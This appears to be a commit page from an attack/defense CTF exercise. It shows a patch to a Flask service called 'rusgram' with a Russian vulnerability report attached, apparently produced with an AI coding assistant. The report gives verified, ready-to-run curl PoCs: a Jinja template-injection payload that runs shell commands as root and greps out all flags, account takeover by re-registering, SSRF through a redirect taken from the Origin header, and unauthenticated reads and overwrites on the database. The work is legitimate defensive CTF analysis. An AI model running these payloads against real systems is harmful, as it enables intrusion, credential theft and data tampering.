Files
dmeetrogonandClaude Opus 5 14b5855b86 rusgram: патч RCE, захвата аккаунта, SSRF и падений в 500
Разбор сервиса и все PoC — в services/rusgram/WRITEUP.md и VULNS.md.
Каждая находка воспроизведена на живом стенде до патча и перепроверена после.

content.py — V1 (RCE, крит) и V5:
  template_folder='files' совпадает с каталогом БД, поэтому render_template(path)
  с путём из URL рендерил файл пользователя как исходник Jinja-шаблона. Имя юзера
  выбирает атакующий: регистрируем `pwn.html`, кладём payload себе в first_name,
  дёргаем /db/users/pwn.html через публичный :38000 — RCE от root в контейнере,
  где смонтирован весь website/. Теперь рендерим только 4 реальные страницы.

logic.py — V2 (захват аккаунта) и V3/V6 (SSRF/открытый редирект):
  register не проверял существование юзера, а database делал read-modify-write,
  так что повторная регистрация ПЕРЕЗАПИСЫВАЛА пароль, сохраняя msg и профиль:
  чужой аккаунт вместе с флагом и сломанный логин у чекера. Теперь 409.
  Location строился из заголовка Origin, а proxy ходил по нему серверсайд —
  чтение внутренней сети. Редирект стал фиксированным /login.html.

database.py — снижает ущерб от V4:
  валидация имени юзера как имени файла, белый список полей, пароль можно только
  создать, но не перезаписать (смены пароля в сервисе нет), 400/404 вместо 500.

proxy.py — defense in depth к V3: allow_redirects=False на ветке api/.

V8: единая безопасная проверка сессии вместо 4 копий — кривая кука, отсутствие
куки, несуществующий юзер и нечисловой img больше не роняют воркер в 500.

Формат куки login||password и плейнтекстовые пароли осознанно НЕ трогали:
чекер почти наверняка на них завязан.

Тесты: services/rusgram/test_rusgram.py — SLA 16/16, SEC 21/21 на патче;
на services_vulnerable та же секция SEC падает 12 раз. Сплойт собирает 0 флагов.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr
2026-08-26 11:31:28 +03:00

16 KiB
Raw Permalink Blame History

Rusgram — отчёт по уязвимостям

Все PoC ниже отработаны на живом стенде (docker compose up из этой папки), флаги реально извлечены. Формат флага: [A-Z0-9]{31}=.

Стенд для проверки: жертва victim_krmltc, флаги в msg и first_name.

# Уязвимость Класс Порт Крит
V1 SSTI → RCE от root через имя пользователя *.html CWE-1336 38000 🔴 CRITICAL
V2 Перерегистрация чужого аккаунта = ATO без аутентификации CWE-284 38000 🔴 CRITICAL
V3 SSRF: proxy серверсайд идёт по редиректу из заголовка Origin CWE-918 38000 🔴 HIGH
V4 database без аутентификации опубликован наружу CWE-306 38002 🔴 HIGH
V5 content наружу: чтение файла любого юзера без .html CWE-306 38004 🟠 HIGH
V6 Открытый редирект через Origin CWE-601 38000 🟡 MEDIUM
V7 Пароли в плейнтексте + неподписанная кука-сессия CWE-256/565 🟡 MEDIUM
V8 Необработанные исключения → 500 (`split(" "), images/`) CWE-248

Отрицательные проверки (протестированы, не воспроизводятся) — в конце.


V1 — SSTI → RCE от root через имя пользователя, оканчивающееся на .html 🔴

Где: content/content.py:45 + proxy/proxy.py:19-21

# content.py
app = Flask(__name__, template_folder='files')   # 'files' == том ./website
...
else:
    return render_template(path)                  # path из URL

Суть

template_folder узла content — это files, то есть тот же самый том ./website, внутри которого лежит db/users/<username>. Файл пользователя — это данные, полностью подконтрольные атакующему, но render_template() скармливает его Jinja как исходник шаблона.

Ключ к тому, чтобы дотянуться до этого через публичный порт 38000: proxy пропускает в content только пути с расширением .html

ext = path.split('.')[-1]
if ext == "html":
    resp = r.get(f"http://{content_node}/{path}?...")

…но имя пользователя выбирает атакующий. Регистрируем юзера с логином pwn.html → его файл ложится в files/db/users/pwn.html → запрос GET /db/users/pwn.html проходит фильтр расширения, попадает в else-ветку content.py и рендерится как шаблон. Содержимое шаблона мы заранее записали сами через /api/update_personal.

Autoescape тут не спасает: он экранирует результат выражения, но не мешает Jinja это выражение выполнить.

PoC (проверен)

BASE=http://TARGET:38000

# 1. регистрируем юзера, чьё имя оканчивается на .html
curl -s -X POST $BASE/api/register -H 'Content-Type: application/json' \
     -d '{"login":"pwn.html","password":"p"}'

# 2. кладём Jinja-payload в своё же поле first_name
curl -s -X POST $BASE/api/update_personal -H 'Content-Type: application/json' \
     -H 'Cookie: session=pwn.html||p' \
     -d '{"first_name":"{{ lipsum.__globals__.os.popen('"'"'id'"'"').read() }}","second_name":"x","email":"x"}'

# 3. заставляем content отрендерить наш файл как шаблон — через ПУБЛИЧНЫЙ порт
curl -s $BASE/db/users/pwn.html

Реальный вывод со стенда:

{"password": "p", "first_name": "uid=0(root) gid=0(root) groups=0(root),...
---
pwn.html
victim_krmltc
", "second_name": "x", "email": "x"}

RCE от root в контейнере content, где смонтирован весь website/ — то есть вся база всех пользователей.

Сбор всех флагов одним запросом

payload = "{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" /app/files/db/').read() }}"

Со стенда вернулось: ['2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=', 'QZHZAGZTFOSPU6D6KD9R98GF7FQATQV='] — оба посаженных флага, за один HTTP-запрос, без знания имён жертв (grep -r сам обходит каталог).

⚠️ Важный нюанс эксплуатации: кэш Jinja

Flask вне debug-режима не перечитывает шаблоны (auto_reload выключен). Как только db/users/pwn.html отрендерился первый раз, скомпилированная версия кэшируется, и правки файла больше не подхватываются.

Практический вывод для сплойта: на каждый раунд — свежее случайное имя юзера, и payload обязательно кладётся до первого запроса на рендер. В sploit_rusgram.py это учтено.


V2 — Перерегистрация чужого аккаунта: ATO без аутентификации 🔴

Где: logic/logic.py:23-33 + database/database.py:22-33

# logic.register — никакой проверки существования
resp = r.post(f"http://{database_node}/users/{username}/password", json={"value": password})

# database.users POST — тоже никакой
if not os.path.exists(path):
    Path(path).touch()
...
data[field] = request.json["value"]      # read-modify-write

Суть

register для существующего юзера — это не ошибка, а перезапись пароля. Причём read-modify-write сохраняет все остальные поля: msg, first_name и прочее остаются на месте. Атакующий получает 200 и валидную куку на чужой аккаунт со всем его содержимым.

Это одновременно кража флагов и саботаж: у чекера ломается логин в собственный аккаунт.

PoC (проверен)

BASE=http://TARGET:38000
VICTIM=victim_krmltc

curl -s -i -X POST $BASE/api/register -H 'Content-Type: application/json' \
     -d "{\"login\":\"$VICTIM\",\"password\":\"hacked123\"}"
# → HTTP/1.1 200 OK
# → Set-Cookie: session=victim_krmltc||hacked123; Path=/

curl -s $BASE/ -H "Cookie: session=$VICTIM||hacked123" | grep -oE '[A-Z0-9]{31}='

Реальный вывод со стенда:

2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=
QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=

Оба флага, ноль исходных кредов. Нужно только знать имя жертвы — оно берётся из комментариев (V4) или из ls через V1.


V3 — SSRF: proxy серверсайд ходит по редиректу из Origin 🔴

Где: logic/logic.py:41,55,65 + proxy/proxy.py:28

# logic: Location строится из заголовка, который контролирует атакующий
return redirect(request.headers.get("Origin", "") + "/login.html", code=302)

# proxy: requests по умолчанию allow_redirects=True — и ИДЁТ по этому Location
resp = passcall(f"http://{logic_node}/{path[4:]}", json=request.get_json(), headers=request.headers)
return resp.content, resp.status_code, resp.headers.items()

Суть

Когда проверка пароля не проходит, logic отдаёт 302 на Origin + "/login.html". Proxy получает этот 302 и, поскольку requests по умолчанию следует редиректам, сам делает запрос на указанный URL из своего контейнера — и возвращает тело атакующему.

Хвост /login.html обрезается тривиально: заканчиваем Origin на ?x=, и он уезжает в query string.

Это самая неприятная из находок для защиты, потому что работает даже если закрыть порты 38001–38004: proxy ходит во внутреннюю сеть за нас.

PoC (проверен)

BASE=http://TARGET:38000
VICTIM=victim_krmltc

curl -s -X POST $BASE/api/send_msg -H 'Content-Type: application/json' \
     -H "Cookie: session=$VICTIM||WRONGPASS" \
     -H "Origin: http://database:5002/users/$VICTIM/msg?x=" \
     -d '{"msg":"x"}'

Реальный вывод со стенда:

{"data":"2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=","status":"ok"}

Флаг из внутреннего database-узла — через один только публичный порт 38000.

Подтверждение самого 302 (напрямую в logic):

POST /send_msg  Origin: https://evil.example
→ 302, Location: https://evil.example/login.html

Запрос на внешний хост со стенда вернул 500 (в тестовой docker-сети нет egress) — на боевом vulnbox, если egress есть, это ещё и канал эксфильтрации.


V4 — database без аутентификации опубликован наружу 🔴

Где: docker-compose.yml (38002:5002) + весь database/database.py

Узел database не имеет ни одной проверки доступа. Он опубликован на хосте.

PoC (проверен)

D=http://TARGET:38002
curl -s $D/users/victim_krmltc/password    # {"data":"hacked123","status":"ok"}
curl -s $D/users/victim_krmltc/msg         # {"data":"2F2HOFY5DQ...","status":"ok"}  ← ФЛАГ
curl -s $D/users/victim_krmltc/first_name  # {"data":"QZHZAGZTFO...","status":"ok"}  ← ФЛАГ

Запись работает так же — можно перезаписать пароль/поля любому юзеру (саботаж):

curl -s -X POST $D/users/victim_krmltc/password \
     -H 'Content-Type: application/json' -d '{"value":"OWNED"}'   # → 200

Энумерация имён (без RCE): авторы комментариев отдаются в открытую.

for i in $(seq 1 16); do curl -s $D/images/$i; done   # comments: [["username","text"],...]

V5 — content наружу: чтение файла любого юзера 🟠

Где: docker-compose.yml (38004:5004) + content/content.py:45

Напрямую в content ограничение на .html (которое накладывает proxy) отсутствует — render_template(path) вызывается для любого пути.

PoC (проверен)

curl -s http://TARGET:38004/db/users/victim_krmltc

Реальный вывод со стенда:

{"password": "hacked123", "msg": "2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=",
 "first_name": "QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=", "second_name": "Ivanov", ...}

Здесь же работает и V1 (SSTI) — но уже без требования, чтобы имя оканчивалось на .html.


V6 — Открытый редирект через Origin 🟡

Тот же код, что и в V3. Если смотреть на logic напрямую (38003) — классический open redirect на произвольный домен:

POST /send_msg, Cookie: session=<существующий_юзер>||неверный_пароль,
Origin: https://evil.example
→ 302 Location: https://evil.example/login.html

Через proxy наружу это превращается в SSRF (V3), поэтому чинится одним патчем.


V7 — Плейнтекстовые пароли и неподписанная сессия 🟡

  • website/db/users/* хранит "password" как есть — любое чтение файла (V1/V4/V5) сразу даёт креды.
  • Кука session=<login>||<password> не подписана, без HttpOnly/Secure/срока жизни, и гоняет пароль в открытом виде в каждом запросе.

В условиях A/D полностью переделывать схему рискованно (чекер завязан на формат куки), поэтому в патче это осознанно не менялось — см. PATCH.md.


V8 — Необработанные исключения → 500 🟢

Проверено на стенде:

  • GET / с кукой session=a||b||c500 (ValueError: too many values to unpack в split("||")). Аналогично во всех четырёх ручках logic.
  • GET /images/0, /images/-1, /images/99, /images/abc500 (FileNotFoundError, файла нет).
  • POST /api/* без куки session500 (KeyError).
  • Запрос к несуществующему юзеру: .json()["data"] по 404-ответу → 500 (KeyError).

Флагов не даёт, но шумит в логах и может ронять SLA, если чекер ходит кривыми запросами. Плюс скрывает настоящие атаки в шуме.


Отрицательные результаты (проверено — НЕ работает)

Чтобы команда не тратила время:

Гипотеза Результат
Path traversal в static (/css/..%2f..%2fetc%2fpasswd.css) 404. Конвертер <name> в Werkzeug не матчит слэши
Инъекция пути через img_id в post_comment (../users/<victim>) 404 на database. Роут <string:id> не матчит многосегментные пути
Traversal через username в database (.., %2f) Не матчится роутом / упирается в каталог
Traversal через render_template (../../etc/passwd) Jinja split_template_path режет ..
SSRF (V3) на внешний хост 500 на стенде — в тестовой docker-сети нет egress. На vulnbox проверить отдельно

Приоритет патчей

  1. V1 — RCE, публичный порт. Чинить первым.
  2. V2 — ATO + саботаж чекера, публичный порт.
  3. V3 — SSRF, обходит закрытие портов.
  4. V4/V5 — закрыть публикацию внутренних портов (осторожно, см. PATCH.md).
  5. V8 — устойчивость, чтобы не терять SLA.